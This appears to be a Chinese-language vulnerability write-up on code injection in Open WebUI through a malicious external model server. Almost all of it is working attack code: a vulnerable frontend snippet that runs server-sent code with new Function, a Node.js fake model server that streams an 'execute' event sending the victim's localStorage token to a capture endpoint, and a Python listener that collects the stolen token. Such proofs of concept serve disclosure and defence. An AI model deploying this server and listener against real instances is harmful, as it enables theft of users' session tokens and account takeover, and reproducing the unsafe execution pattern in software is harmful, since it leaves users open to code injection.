Open WebUI 受外部模型服务器影响的代码注入漏洞分析

1
2
3
4
5

// 近似易受攻击的代码位置（前端SSE处理器）
if (event.type === 'execute') {
    const func = new Function(event.data.code);  // 关键：不安全的代码执行
    await func();
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

const http = require('http');

const server = http.createServer((req, res) => {
    if (req.url === '/v1/models' && req.method === 'GET') {
        res.writeHead(200, { 'Content-Type': 'application/json' });
        res.end(JSON.stringify({
            data: [{ id: "gpt-4-turbo-preview", object: "model" }]
        }));
    } else if (req.url === '/v1/chat/completions' && req.method === 'POST') {
        res.writeHead(200, {
            'Content-Type': 'text/event-stream',
            'Cache-Control': 'no-cache',
            'Connection': 'keep-alive',
            'Access-Control-Allow-Origin': '*'
        });

        // 发送恶意SSE事件
        const maliciousEvent = {
            event: {
                type: "execute",
                data: {
                    code: "fetch('http://localhost:8081/leak?token=' + encodeURIComponent(localStorage.token))"
                }
            }
        };

        res.write(`data: ${JSON.stringify(maliciousEvent)}\n\n`);
        setTimeout(() => res.end(), 1000);
    } else {
        res.writeHead(404);
        res.end();
    }
});

server.listen(8000, () => {
    console.log('恶意服务器运行在 http://localhost:8000');
});

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

import http.server
import socketserver
import threading
import requests
import json
import sys
import time

EXFIL_PORT = 8081
OPEN_WEBUI_URL = 'http://localhost:3000'

class TokenCaptureHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        if 'token' in self.path:
            print(f"\n[+] 令牌捕获成功!")
            # 处理捕获的令牌...
        
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'OK')

def start_listener():
    with socketserver.TCPServer(("", EXFIL_PORT), TokenCaptureHandler) as httpd:
        httpd.serve_forever()

# 启动监听器线程
listener_thread = threading.Thread(target=start_listener)
listener_thread.daemon = True
listener_thread.start()